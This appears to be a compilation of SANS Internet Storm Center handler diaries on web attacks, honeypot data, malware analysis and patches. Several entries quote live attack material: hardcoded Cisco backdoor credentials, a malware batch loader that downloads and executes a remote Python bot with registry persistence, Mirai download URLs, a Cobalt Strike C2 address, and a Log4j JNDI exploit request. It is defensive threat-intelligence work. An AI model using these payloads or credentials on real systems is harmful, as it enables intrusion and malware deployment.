Walking my dog earlier, I came across the sign on the right. Having just looked at yet another middleware/HTTP header issue (the Next.js problem that became public this weekend) [1], I figured I should write something about HTTP headers. We all know HTTP headers. But it appears some do not know them well enough. Just like this sign, proxies and other middleboxes hardly ever stop unsafe behaviors. 

Let's look at some (somewhat random) past vulnerabilities rooted in the misuse of HTTP headers:

1. AT&T used the "User-Agent" header to identify iPhones: yes, this didn't last long and can be justified as a temporary solution. However, a similar issue came back with iPads a few years later, causing the leakage of subscriber e-mail addresses. [2][3]
2. Google Cloud ESP v2 JWT bypass: Adding a "X-HTTP-Method-Override" header will bypass JWT authentication [4]
3. Authentik Identify Provider: Authentication bypass using an invalid X-Forwarded-For header [5]

These are three issues that I think exemplify some of the common problems. First of all, a user may send whatever header they like. The first rule of web application security is that users are evil. You MUST authenticate, access control, and validate each request. There are reasonable methods to use HTTP headers for authentication. Authorization headers and Cookies can play a valuable role if used responsibly.

But here are some of the common pitfalls:

1. Any authentication/authorization related header must ve verified on the server. For a JWT, the signature must be verified properly before using any of the data encoded in the JWT. Session cookies must be verified using some form of backend session logic and authentication credentials like passwords must be properly verified. Nothing else should be done before correct authentication is established.

2. Proxies may or may not modify headers. One basic "bad pattern" is to have the proxy add a header verifying that a request is authorized. This is not always a bad idea, but it must be done properly. Will an attacker be able to bypass the proxy (and add the header)? Proxies will modify some headers but not others. The rules for this are complex and not always implemented correctly. 

Here are some of the documents defining rules around proxies and what they should and should not do with requests and responses:

Guidelines for Web Content Transformation Proxies 1.0

In the past, RFCs have become more specific about what works/doesn't work with proxies (see, for example, RFC 9112), but there is no guarantee that your web server or proxy will follow these rules. Be ready for non-compliance. Some web servers still happily accept an HTTP 1.1 request without a "Host" header. Upper/lower case headers (or in some cases even methods) are accepted. This behavior has been quite fluent, and you must not trust that any component of your HTTP request handling bucket brigade obeys any specific standard.

When parsing headers, stay flexible but at the same time, enforce standards. For example, HTTP/2 headers are usually lowercase. HTTP/1.1 headers should be treated as case insensitive, but browsers usually use "Pascal Case" (e.g. Content-Type). 

Duplicate headers may show up, even if they are not allowed, and middleware may blindly "combine" them. 

As of June 2012, the "X-" prefix is no longer supposed to be used for non-standard headers [RFC 6648]. However, this RFC has been widely ignored. IANA maintains a list of HTTP headers: https://www.iana.org/assignments/http-fields/http-fields.xhtml. 

RFC7230 allows a client to send multiple copies of some headers, and the proxy may combine them in one header, eliminating the value of each header with a comma. But remember, standards are flexible. The "Referer" header is supposed to show up only once, but typically, multiple copies will happily be accepted and combined into a nonstandard compliant comma-separated list.

In short, Be VERY VERY careful using headers for anything authorization-related. JWTs are a good standard-based solution, but they must be implemented carefully, just like any authorization solution. Any non-standard header should be treated with suspicion, just like a nonstandard encryption or authentication algorithm.

[1] https://nextjs.org/blog/cve-2025-29927
[2] https://www.ghacks.net/2008/05/02/apple-and-att-will-learn-that-user-agents-are-no-good-for-access-control/
[3]https://www.fastcompany.com/1659772/att-defends-ipad-email-address-hack
[4] https://github.com/GoogleCloudPlatform/esp-v2/security/advisories/GHSA-6qmp-9p95-fc5f
[5] https://github.com/goauthentik/authentik/security/advisories/GHSA-7jxf-mmg9-9hg7

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Our API (https://isc.sans.edu/api) continues to be quite popular. One query we see a lot is lookups for individual IP addresses. Running many queries as you go through a log may cause you to get locked out by our rate limit. To help with that, we now offer additional "summary feeds" that include all data recently received. You may download these feeds and import them in your database of choice (or grep the text file for records). This will make bulk lookups a lot easier and faster.

For more details and continuing updates, see, https://isc.sans.edu/feeds_doc.html

I will gladly add more feeds as needed. Please let me know via our contact page if you run into errors.

We do often get requests for commercial use of our data. Our data is published under a "Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International" license. You may use the data if you attribute it to us and do not resell it. We are okay with you using the data in a SOC at a commercial enterprise to help you defend your organization.

If you find it helpful: Let us know. Tell us what works and does not work. The simplest way to help us out is to run one of our honeypots and tell us what works or doesn't work with it. Please do not ask us to remove data because you consider it a false positive. False positives are part of the game, and while we will gladly add comments to some of the data, we do not remove data as it may distort it for other research tasks.

But enough about data feeds. Today, we also had a recurrence of an attack I hadn't seen in a while. This "incident" started with some of our handlers receiving a request to update a link in an older podcast:

The e-mail looked reasonable at first, and we do not mind corrections. URLs change. But in this case, it turned out to be a fake request. The email did not originate from EFF. Ok, sometimes organizations use marketing firms, and they may not be competent enough to use the customer's e-mail domain. But this was certainly a fake update request. The original URL still works. It just redirects to another page at EFF.org. The "academized.com" page, as far as I can tell, is not related to EFF at all. The content matches the EFF page, but it belongs to an "Essay Writing Service", a type of business we do not want to link to being part of a reputable academic institution. These businesses are hurting these days due to AI tools doing a better/cheaper job. In the past, paper writing services have also often used comment spam to advertise.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

In September, Cisco published an advisory noting two vulnerabilities [1]:

• CVE-2024-20439: Cisco Smart Licensing Utility Static Credential Vulnerability
• CVE-2024-20440: Cisco Smart Licensing Utility Information Disclosure Vulnerability

These two vulnerabilities are somewhat connected. The first one is one of the many backdoors Cisco likes to equip its products with. A simple fixed password that can be used to obtain access. The second one is a log file that logs more than it should. Using the first vulnerability, an attacker may access the log file. A quick search didn’t show any active exploitation, but details, including the backdoor credentials, were published in a blog by Nicholas Starke shortly after Cisco released its advisory [2]. So it is no surprise that we are seeing some exploit activity:

The API affected by this vulnerability can be found at /cslu/v1. One of the sample requests:

GET /cslu/v1/scheduler/jobs HTTP/1.1
Host: [redacted]:80
Authorization: Basic Y3NsdS13aW5kb3dzLWNsaWVudDpMaWJyYXJ5NEMkTFU=
Connection: close
 

The base64 encoded string decodes to: cslu-windows-client:Library4C$LU , the credentials Nicholas's blog identified.

The same group looking for this URL is also attempting several other attacks. Most are just looking for configuration files like "/web.config.zip", and interestingly, they also picked to scan for what looks like CVE-2024-0305  (but I am not sure about that. I base this on the exploit found on GitHub [3]). Other vulnerability notes suggest a different URL for this vulnerability. Either way, it is likely a vulnerability in a DVR.

GET /classes/common/busiFacade.php HTTP/1.1
Host: [redacted]:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0RjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
Connection: close

In this case, the credentials decode to: helpdeskIntegrationUser:dev-C4F8025E . 
It's always fun to see how cheap IoT devices and expensive enterprise security software share similar basic vulnerabilities.

[1] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw
[2] https://starkeblog.com/cve-wednesday/cisco/2024/09/20/cve-wednesday-cve-2024-20439.html
[3] https://github.com/jidle123/cve-2024-0305exp/blob/main/cve-2024-0305.py

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

One of my hunting rules triggered some suspicious Python code, and, diving deeper, I found an interesting example of DLL side-loading. This technique involves placing a malicious DLL with the same name and export structure as a legitimate DLL in a location the application checks first, causing the application to load the malicious DLL instead of the intended one. This is a classic vulnerability seen for years in many software. The attacker also implemented simple tricks to bypass classic security controls.

The malware is delivered through a ZIP archive: “Hootsuite (1).zip”[1]. The archive contains some files that have the Hidden protection flag:

Once opened by the victim, the only file displayed is Hootsuite.exe with a PDF icon. The file is not malicious and has been known on VT since 2017![2]. This is a copy of the old Haihaisoft PDF reader[3] with a DLL side-loading vulnerability. When executed from a normal (empty) directory, you get the reader:

Once executed from the directory extracted from the ZIP archive, there is a msimg32.dll (hidden). This DLL is malicious[4]. Compared to the official version, this one is pretty big (103MB), probably to avoid being scanned by many security tools (for performance reasons). This DLL will be loaded instead of the Microsoft one:

Once executed, the behavior of the PDF reader will be completely different:

This is confirmed while debugging the process:

The .bat script will perform some interesting tasks. First, it will unpack and install a simple Python environment:

mkdir C:\Users\Public\R8D4YmtQLNucXFlnq3
Rar x -pC2PINduHvfu86NQXni -inul -y QkCIiJe4GE3FJLfTqe.rar C:\Users\Public\R8D4YmtQLNucXFlnq3

Then, it will fetch the Python bot:

set "CODE_LOADER=import requests,base64; exec(base64.b64decode(requests.get('hxxps://bitbucket[.]org/lonenone111/long/raw/7600761c03bce0b01ec944de76bc155b81158ce7/Final_Bot').text))"
start "" /min "C:\Users\Public\R8D4YmtQLNucXFlnq3\synaptics.exe" -c "%CODE_LOADER%"

To bypass simple rules that track for suspicious process names, “python.exe” has been renamed to “synaptic.exe”.

Finally, persistence is implemented:

echo start "" /min "C:\Users\Public\R8D4YmtQLNucXFlnq3\synaptics.exe" -c "%CODE_LOADER%" >> "C:\Users\Public\Windows Security"

echo //4mY2xzDQo= > "C:\Users\Public\Windows Security.~b64"
certutil -f -decode "C:\Users\Public\Windows Security.~b64" "C:\Users\Public\Windows Security.bat"
copy /b "C:\Users\Public\Windows Security.bat" /b + "C:\Users\Public\Windows Security" /b "C:\Users\Public\Windows Security.bat"
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security" /t REG_SZ /d "C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat" /f

Note how BOM (Byte Order Mark) has been implemented by the attacker with the small Base64 string:

remnux@remnux:/MalwareZoo/20250317/hootsuite/images$ base64dump.py .bat -s 14 -d | xxd
00000000: fffe 2663 6c73 0d0a                      ..&cls..

Finally, a decoy PDF file (not malicious) present in the archive is opened using the default system viewer.

Unfortunately, the “Final_Bot” file is no longer available...

[1] https://www.virustotal.com/gui/file/dee0f033d6f965dd9eebc3bb0c326f85881ef8674cea5f05f4ccc3e7de4264c3/detection
[2] https://www.virustotal.com/gui/file/08c7fb6067acc8ac207d28ab616c9ea5bc0d394956455d6a3eecb73f8010f7a2/detection
[3] https://www.haihaisoft.com/PDF_Reader_download.aspx
[4] https://www.virustotal.com/gui/file/993a043186315aa23b685c319eaff841875653971917a75baa3656fb4bb4258c/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I wanted to figure out how to statically decode the GUID encoded shellcode Xavier wrote about in his diary entry "Shellcode Encoded in UUIDs".

Here is the complete Python script:

I use re-search.py to select the GUIDs:

I then decode the hexadecimal data with my tool hex-to-bin.py. Option -H is needed to ignore all non-hexadecimal characters.

Notice that the text that resembles a User Agent String is mangled. That's because of the way GUIDs are encoded into binary data.

Take a GUID like this one:

{00112233-4455-6677-8899-AABBCCDDEEFF}

When it is encoded to binary data, the first 3 parts are encoded little-endian, and the last 2 parts are encoded big-endian. Giving this byte sequence:

33 22 11 00 55 44 77 66 88 99 AA BB CC DD EE FF

I will now use my translate.py tool to reproduce this encoding (in the original Python script, this encoding is done with a Win32 API call: ctypes.windll.Rpcrt4.UuidFromStringA).

First I split the byte stream into chuncks of 16 bytes (the length of a GUID) with a Python list comprehension:

Next I rewrite the GUID (data[i:i+16]) by changing the order of the first 3 parts: data[i:i+4][::-1] + data[i+4:i+6][::-1] + data[i+6:i+8][::-1] ([::-1] is the expression used to reverse a sequence in Python):

Now I can analyze this shellcode with my Cobalt Strike analysis tool 1768.py:

This gives me information like the IPv4 address of the C2, the port, the path, ...

What I don't see, is the license ID. That's because the decoded data has trailing null bytes:

These 2 trailing null bytes are the result of the GUID encoding: each GUID is 16 bytes, so the decoded data has a length which is a multiple of 16 bytes, while the shellcode has a length which is not a multiple of 16 bytes. If I drop these 2 trailing null bytes, 1768.py will detect the license ID:

Didier Stevens
Senior handler
blog.DidierStevens.com

Last October, Forescout published a report disclosing several vulnerabilities in DrayTek routers. According to Forescount, about 700,000 devices were exposed to these vulnerabilities [1]. At the time, DrayTek released firmware updates for affected routers [2]. Forescout also noted that multiple APTs targeting devices. 

Interestingly, Forescout's report used the URL "/cgi-bin/malfunction.cgi", a URL returning a 404 status for the DrayTek routers I investigated. On the other hand, later publications by Fortinet and others used "mainfunction.cgi", which appears to be the actual vulnerable script.

For most of the attacks we are seeing are just searching for DrayTek routers using URLs like "/cgi-bin/mainfunction.cgi" without any arguments. These go back to the end of March of 2020. Starting in June of 2020, we see first exploit attempts for the "keyPath" vulnerability, and these attacks still flare up from time to time. The other vulnerable parameter often exploited is "cvmcfgupload". Below, I create a plot showing the prevalence of these two attacks, and a third one, which I saw again flare up yesterday. 

This third attack is what I believe to be a typo unless the attackers are looking for a completely different vulnerability. The attack URL is identical to the attacks above but missing the dash in "cgi-bin". 

The goal of these attacks is the same as the others: They attempt to upload and execute copies of a bot, usually various variants of Mirai. I guess that they are adding so many vulnerabilities to these bots that a couple of ineffective exploits won't matter.

For an old vulnerability like this, it is odd to see a large spike all for a sudden, and even more curious that the exploit will likely not work. If anybody has any insight, let me know.

The latest malformed exploit attempts to download the usual simple multi-architecture bash script:

hxxp://45[.]116.104.123/hiroz3x.sh

Next, it attempts to download the actual bot:

hxxp://45[.]116.104.123/h0r0zx00xh0r0zx00xdefault/h0r0zx00x.x86

A quick string analysis of the bot shows attempts to exploit other vulnerabilities and likely some brute force component. A Virustotal analysis can be found here:

https://www.virustotal.com/gui/file/80bfbbbe5c5b9c78e391291a087d14370e342bd0ec651d9097a8b04694e7c9b9
 

[1] https://www.forescout.com/resources/draybreak-draytek-research/
[2] https://www.draytek.com/support/resources/routers#version

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I previously used Power BI [2] to analyze DShield sensor data and this time I wanted to show how it could be used by selecting certain type of data as a large dataset and export it for analysis. This time, I ran a query in Elastic Discover and exported that data to analyze it in PowerBI into a CSV format. The first step was to run a query in Discover and select the past 60 days with the following query: file.name : *

Next was to export that data in a CSV file: Kibana_Export_CSV
Next step is to import the data into Power BI for analysis. In Power BI, Select Excel workbook and select all files and open the file you exported from Kibana followed by Load. From the interface, start building the visualization you want to analyze.

First, configure the @timestamp to split the date and time by selecting Transform data and right click on the @timestamp to Remove Duplicates to create 2 columns:

Step1

Step 2 - Delimiter set to @

Step 3 - Result

Now that we are setup, we can start building the visualization using the data that was imported. This is an overall visualization that I put together after importing my data

Data Manipulation

My first selection is going to be the top IP 87.120.113[.]231 to see it is only active in Jan and Feb ending on the 13 Feb 2025 (darker blue).

Noticed the graph shows the IP is pretty much active daily and has uploaded the 6 different files associated with RedTail [3] and has multiple hashes for each filename except for clean.sh and setup.sh which never changed with a count of 276.

The next selection is the filename eyshcjdmzg [4] which I previously published in a diary in April 2024 where the filename and hash is the same as the top hash in that diary. In that diary, the only IP captured by the sensor was 218.92.0[.]60, in the past 60 days, the sources are from the same subnet but the IPs have changed to 218.92.0[.]131 & 218.92.0[.]132.

Strange Filename

On the 20 January 2025, filename rktgw4Ir was uploaded by 87.154.189[.]196. On the 31 January 2025, filename P7TjdNkM was uploaded by IP 79.7.197[.]84. In order to find more information about both of these filenames, I queried the SIEM to get additional information. I checked the hash against VirusTotal [5] and this one was an IRCBot.

By exporting a large dataset, it is possible to see data that might get missed or lost in this data and maybe worth another look via retrospective analysis. Happy hunting!

[1] https://www.microsoft.com/en-us/download/details.aspx?id=58494
[2] https://isc.sans.edu/diary/Analysis+of+SSH+Honeypot+Data+with+PowerBI/28872
[3] https://isc.sans.edu/diary/Examining+Redtail+Analyzing+a+Sophisticated+Cryptomining+Malware+and+its+Advanced+Tactics+Guest+Diary/31568
[4] https://isc.sans.edu/diary/Linux+Trojan+Xorddos+with+Filename+eyshcjdmzg/30880
[5] https://www.virustotal.com/gui/file/6d1fe6ab3cd04ca5d1ab790339ee2b6577553bc042af3b7587ece0c195267c9b
[6] https://isc.sans.edu/diary/DShield+Traffic+Analysis+using+ELK/31742

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Today, I noticed increased scans for the VMWare Hyprid Cloud Extension (HCX) "sessions" endpoint. These endpoints are sometimes associated with exploit attempts for various VMWare vulnerabilities to determine if the system is running the extensions or to gather additional information to aid exploitation.

Initially, based on the URL, I suspected brute forcing. However, after reviewing some complete requests (see below), it turns out that these attempts are exploiting the Log4j vulnerability.

The specific URL seen above is 

/hybridity/api/sessions

This particular request is likely used to brute force credentials. the "sessions" endpoint expects a JSON payload with the username and payload like:

{

  "authtype": "password",
  "username": "admin",
  "password": "somecomplexpassword"
}

The response will either be a 401 response if the authentication failed or a 200 response if it succeeded. A successful response includes a "sessionId", which will be used as a bearer token to authenticate additional requests.

UPDATED ANALYSIS

Initially, I did not have access to the request payload. However, after reviewing the payload of a few samples, it looks like these are not brute-force attempts. Instead, they are exploiting the Log4j vulnerability via the "username" parameter, which is likely logged and VMware is using the Log4j library and was vulnerable to the related vulnerability.

Complete request:

POST /hybridity/api/sessions HTTP/1.1
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Content-Length: 169
Accept: application/json
Content-Type: application/json
Origin: https://[victim IP]:4443
Accept-Encoding: gzip

{\r\n  "authType": "password",\r\n  "username": "${jndi:ldap://${:-670}${:-930}.${hostName}.username.cv7u8tq2cnhfm80gc3n0npwaauo98azq9.oast.live}",\r\n  "password": "admin"\r\n}

So far, we see these requests mostly from one IP address: %%ip:107.173.125.163%% using randomized valid user agents. The IP address was first seen yesterday in our logs and is scanning for Log4j vulnerable systems, particularly by accessing login pages. These other attempts likely use a payload similar to the request above.  See this page for a complete list of requests sent by this IP address.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Today, Apple released a critical update to fix a single, already exploited, WebKit vulnerability. The patch was released for current versions of iOS, macOS, and visionOS. A standalone update for Safari was also made available, which will help address this issue in macOS 13 and 14 (Ventura, Sonoma). 

Apple states that this vulnerability may be used to break out of the Web Content sandbox. The attack was initially addressed in iOS 17.2, but this additional fix is "supplementary." The vulnerability was used in targeted attacks against iOS before 17.2.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The March patch Tuesday looks like a fairly light affair, with only 51 vulnerabilities total and only six rated as critical. However, this patch Tuesday also includes six patches for already exploited, aka "0-Day" vulnerabilities. None of the already exploited vulnerabilities are rated as critical. 

Today's most interesting vulnerability is a not-yet exploited critical vulnerability (CVE-2025-24064) that affects the Windows Domain Name Service. A remote code attacker would exploit this vulnerability by sending a "perfectly timed" dynamic DNS update message. Many Windows DNS servers support dynamic updates, making assigning hostnames to internal IP addresses easier. It is unclear if the server is exploitable if dynamic updates are disabled.

Three of the exploited vulnerabilities affect the NTFS file system. One may lead to remote code execution. The other two are considered privilege escalation vulnerabilities. The remote code execution vulnerability, CVE-2025-24993, is due to a heap-based buffer overflow. Typically, these types of vulnerabilities are exploited when mounting a corrupt file system.

CVE-2025-24985 is related to the Windows Fast FAT File System Driver. Again a heap-based buffer overflow, or "Integer Overflow/Wraparound", the vulnerability allows for remote code execution. The attacker may be remote for both the NTFS and FAT issues, but the attacker will likely upload the corrupt VHD disk image to the victim and mount it locally. Of course, the attacker may just provide the VHD file and trick the victim into mounting it locally.

The two remaining already exploited vulnerabilities affect a security feature bypass in the Microsoft Management Console and a privilege elevation vulnerability in the Win32 kernel subsystem. 

Three of the critical vulnerabilities affect the Windows Remote Desktop Services. Systems are vulnerable if they act as a remote gateway. This is important because gateways are likelier to be exposed to the internet. However, the attacker will also have to win an unspecified race condition, often resulting in less reliable exploits.

The remaining critical vulnerabilities affect Microsoft Office and the Windows subsytem for Linux.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I returned from another FOR610[1] class last week in London. One key tip I give to my students is to keep an eye on "strange" API calls. In the Windows ecosystem, Microsoft offers tons of API calls to developers. The fact that an API is used in a program does not always mean we are facing malicious code, but sometimes, some of them are derived from their official purpose. One of my hunting rules for malicious scripts is to search for occurrences of the ctypes[2] library. It allows Python to call functions in DLLs or shared libraries.

Example:

import ctypes
new_page = ctypes.windll.kernel32.VirtualAlloc(0, page_size, 4096, 64)

I spotted a malicious Python script that uses the following API call: UuidFromStringA(). This function converts a UUID string to its binary format. 

A UUID (Universally Unique Identifier) is a 128-bit value commonly used in software systems to provide a practically guaranteed unique reference. It is represented as a string of hexadecimal digits often divided into five groups. Because of their structure and generation process (timestamp-based or random), UUIDs have an extremely low chance of collision, making them ideal for identifying objects or records across distributed systems where a central authority to track uniqueness[4] may not exist.

The Python script I found contained an array of UUIDs that, once decoded in raw bytes, was injected in memory as a shellcode:

This technique allows the malware to remain below the radar because the VT score is only 2/61! Its SHA256 is 63733d412c82958055a8125e1499d695aa1e810b3577c6e849a90012c52da929[5].

The code is decoded with a simple loop then injected in memory:

for i in shellcode:
    io = ctypes.windll.Rpcrt4.UuidFromStringA(i, rwxpage1)
    rwxpage1 += 16

This code is a CobaltStrike HTTP x86 shellcode beaconing to: hxxp://182[.]61[.]60[.]141:6666/tFl6.

Indeed, it is pretty easy to convert a binary file into an array of UUIDs. You need to read the shellcode in 16-byte chunks (each UUID is 128 bits, or 16 bytes) and interpret each chunk as a UUID. This technique has already been used by the Lazarus group in the past[6].

[1] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/
[2] https://docs.python.org/3/library/ctypes.html
[3] https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa
[4] https://www.uuidtools.com/decode
[5] https://www.virustotal.com/gui/file/63733d412c82958055a8125e1499d695aa1e810b3577c6e849a90012c52da929
[6] https://www.nccgroup.com/us/research-blog/rift-analysing-a-lazarus-shellcode-execution-method/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Looking over some weblogs on my way back from class in Baltimore, I feel a reminder is appropriate that (a) weblogs are still a thing and (b) what some of the common webshells are that attackers are looking for.

Attackers often deploy web shells via file upload or remote code execution vulnerabilities. Standard webshells are available for a wide range of web development environments. The advantage to the attacker is that followup exploits are easily disguised as "regular" HTTP requests.

Here are some of the web shells I have observed recently:

teorema505
upl.php
/download/powershell/
alive.php

Look at your server to see if you can find any odd files (not just the files above). Web shells are easily overlooked if you do not have a good code promotion procedure. The list above is nothing but a "first guess," and there are many more.

Also, make sure not to install your own unauthenticated web shells. We still see many development tools like '/struts/webconsole.html' being used to attack sites.

Got any webshell related URL that you see hit a lot?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Using the Kibana interface, sometimes it can be difficult to find traffic of interest since there can be so much of it. The 3 logs used for traffic analysis are cowrie, webhoneypot and the firewall logs. Other options to add to the honeypot are packet capture, netflow and Zeek.

Using the following steps, I was able to start selecting what could be interesting activity by using a few simple steps in the interface. This search can take place over 24 hours to several days depending on the data stored and available.

First, I'm going to look at some of the basic traffic collected by the honeypot using the firewall data. I'm going to set the time range to start at 7 days and select DShield - Traffic Analytic. My search is going to be simple, look for Source Port or IPID that could be associated with some tools that might be associated with potential reconnaissance captured by the firewall. Anything that is static with a high count might be something to use as a starting point (port equal to 0, IPID equal to 1, 54321, etc). In this case, I'm selecting IPID 54321 as a starting point.

Now that I have made a choice, I look for the past 30 days and found the activity range between 4 Feb 2025 - 6 March 2025 and here is the result after selecting 54321:

My next step, I want to see traffic that all the sensors have captured from this source, using the following filter, using a DSL query, this will show all 3 sensors where this IP was captured by the firewall:
{
  "terms": {
    "host.name": [
      "picollector",
      "collector",
      "vps-711a413c"
    ]
  }
}

Next, I selected one of the IPs that all 3 sensors captured traffic from it:
related.ip : 193.68.89.10

The activity from this IP started on the 5 February at 12:00 UTC and has been basically scanning ever since with a small stop gap between the 11-13 Feb and completely stopped on the 4 March 12:00 UTC

I temporary disable the IPID 54321 to see all the DShield sensor data captured over time. For this IP, only web honeypot and firewall data exists. During that time period, there were no attempts to login the sensor. This also presents a completely different picture of the activity. The 15 February shows a huge spike of web activity.

Next, going to DShield - Web Analytic, the only web activity by this IP is GET & HEAD / and 2 different user-agents.

In DShield - Vega-Lite, what I find sometimes interesting is the Time-to-Live (TTL) overtime where all the activity isn't sitting around the same cluster. For example, looking at the picture below, we have two TTL cluster for the same source IP. One between 237-240 and the other between 47-49. Why a difference in the time the packet was sent to receive by the sensor? Different routes, proxy, crafting, etc.

In DShield - SIEM Alerts, this source IP also alerted from some of the threat intel tracked by the SIEM [1][2].

This analysis could also use packets and Zeek if captured to dig further in the data the basic sensor logs have stored. These were simple steps to perform some retrospective analysis over time of a single IP that took at the most 10 minutes. Happy threat hunting!

[1] https://github.com/bruneaug/DShield-SIEM
[2] https://github.com/bruneaug/DShield-Sensor
[3] https://isc.sans.edu/diary/Using+ESQL+in+Kibana+to+Queries+DShield+Honeypot+Logs/31704
[4] https://isc.sans.edu/diary/Is+that+It+Finding+the+Unknown+Correlations+Between+Honeypot+Logs+PCAPs+Guest+Diary/30962

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Just a quick update. I fixed a big bug in my mac-robber.py script about 2 weeks ago, but realized I hadn't published a diary about it. I didn't go back and figure out how this one slipped in because I'm sure it worked originally, but it was generating bad output for soft/symbolic links. If. you are using the script, please update immediately.

References:

[1] https://github.com/att/docker-forensics/blob/master/mac-robber.py

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

Lately, attackers have gotten more creative and aggressive in trying to find various credential files on exposed web servers. Our "First Seen" page each day shows many new versions of scans for secrets files like ".env". 

Yesterday, I noted a couple of requests that stuck out a bit:

/admin/smtp_keys.json
/admin/smtp_tokens.json

The same attacker scanned for variations like "/api/smtp_keys.json" and "/backend/smtp_keys.json"

The requests originate from one IP address, %%ip:193.41.206.202%%. According to Whois, the IP is associated with a Romanian Distillery (Alexandrion Saber 1789 Distilleries). Likely a compromised system in their network used for scanning. The scans started in February and they have been hitting possible secrets files since then ever so often slightly changing the set of files they are looking for.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The Mark of the Web (MoTW) is file metadata in Windows that marks a file that was obtained from an untrusted source.

When a file is downloaded from the Internet, browsers will not only write the file to disk, but also include metadata with the origin of the file. This also applies when an email attachment is saved to disk with Outlook.

This metadata (MoTW) is used by several applications to activate extra precautions when a file from an untrusted source is opened. For exampe, Microsoft Office will open a document downloaded from the Internet in Protected View (indicated by the yellow banner), SmartScreen will prompt you before a file is launched, ...

The metadata/MoTW is stored in an Alternate Data Stream on NTFS disks. The name of this ADS is Zone.Identifier.

You can view this with Notepad, for example. Say that you downloaded a file from the Internet called invoice.docx, then you can view the MoTW with this command:

notepad.exe invoice.docx:Zone.Identifier

And you will see something like this:

ZoneId 3 is the Internet.

Here are the possible values:

Browsers will also add fields that record the URL, like this:

If this is done in incognito mode, then the URL is not recorded:

This MoTW is propagated when a file is copied (to another NTFS disk).

It is also propagated by various applications that handle container formats. For example, many archiving utilities will copy the MoTW from a download ZIP file to the extracted files. Sometimes this needs to be configured, like with 7-Zip. WinRAR is also a bit special, I'll write about this in another diary entry.

Threat actors are always on the lookout for new methods to bypass MoTW propagation, so stay vigilant.

Didier Stevens
Senior handler
blog.DidierStevens.com

Wireshark release 4.4.5 was released soon after 4.4.4 : it fixes a bug that makes Wireshark crash when clicking on a column title/header.

Didier Stevens

Senior handler
blog.DidierStevens.com